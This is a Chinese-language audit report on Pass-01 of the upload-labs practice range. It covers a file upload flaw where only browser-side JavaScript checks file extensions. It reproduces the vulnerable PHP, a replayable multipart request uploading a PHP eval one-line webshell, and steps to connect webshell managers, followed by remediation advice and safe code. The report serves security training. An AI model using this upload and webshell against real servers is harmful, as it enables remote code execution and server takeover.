upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-01 |
| 漏洞类型 | 前端 JS 校验绕过 |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-01/index.php |
二、漏洞概述
Pass-01 仅在客户端通过 JavaScript 校验上传文件的后缀名,服务端未对文件类型做任何校验。攻击者可以通过抓包修改请求、禁用浏览器 JS 或构造表单直接绕过前端限制,上传 PHP 等可执行脚本文件,从而获取服务器权限。
- 危险等级:高危
- 影响范围:可上传任意类型文件,包括 WebShell
三、问题代码位置
文件路径:Pass-01/index.php
问题代码片段:
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
前端校验代码(第 64-82 行):
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
四、漏洞分析
4.1 为什么存在这个问题
- 服务端无校验:服务端代码直接使用
$_FILES['upload_file']['name']作为保存文件名,未对文件后缀、MIME 类型或文件内容做任何检查。 - 前端校验不可靠:
checkFile()函数运行在浏览器端,攻击者可以完全控制客户端环境(禁用 JS、修改 JS、直接构造 HTTP 请求)。前端校验只能提升用户体验,不能作为安全机制。
4.2 校验逻辑缺陷
- 校验位置错误:安全校验必须放在服务端执行。
- 保存文件名可控:
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']直接使用原始文件名,未做随机化处理。
五、利用思路
攻击者可以通过以下任意一种方式绕过前端校验:
- Burp/Yakit 抓包修改:先选择一个
.jpg文件触发前端校验,提交后拦截请求,将文件名修改为shell.php,文件内容替换为 PHP 一句话木马。 - 禁用浏览器 JavaScript:直接绕过
checkFile()函数。 - 手动构造表单:不通过页面表单,直接发送 multipart POST 请求上传任意文件。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场已部署,访问地址为
http://target.com/upload-labs/Pass-01/index.php - 已准备好 WebShell 文件内容,例如:
<?php @eval($_POST['cmd']); ?>
6.2 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.3 利用步骤
- 在 Yakit 中新建一个 Web Fuzzer / HTTP 请求。
- 将上述请求包粘贴到请求区域。
- 根据实际部署地址修改
Host和请求路径。 - 点击发送,若返回页面显示上传成功图片或无明显错误提示,说明文件已上传。
- 访问
http://target.com/upload-labs/upload/shell.php。 - 使用蚁剑、冰蝎或 Yakit 连接该 WebShell,密码为
cmd。
七、修复建议
- 服务端进行后缀白名单校验:仅允许上传预期的图片后缀(如
jpg、png、gif)。 - 服务端进行 MIME 校验与文件内容校验:不能仅依赖
$_FILES['type']。 - 重命名上传文件:使用随机文件名,不要保留用户原始文件名。
- 移除前端校验作为唯一安全机制:前端校验仅作辅助提示。
- 将上传目录设置为不可执行:避免上传目录中的脚本被 Web 服务器解析。
安全代码示例
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
die('不支持的文件类型');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload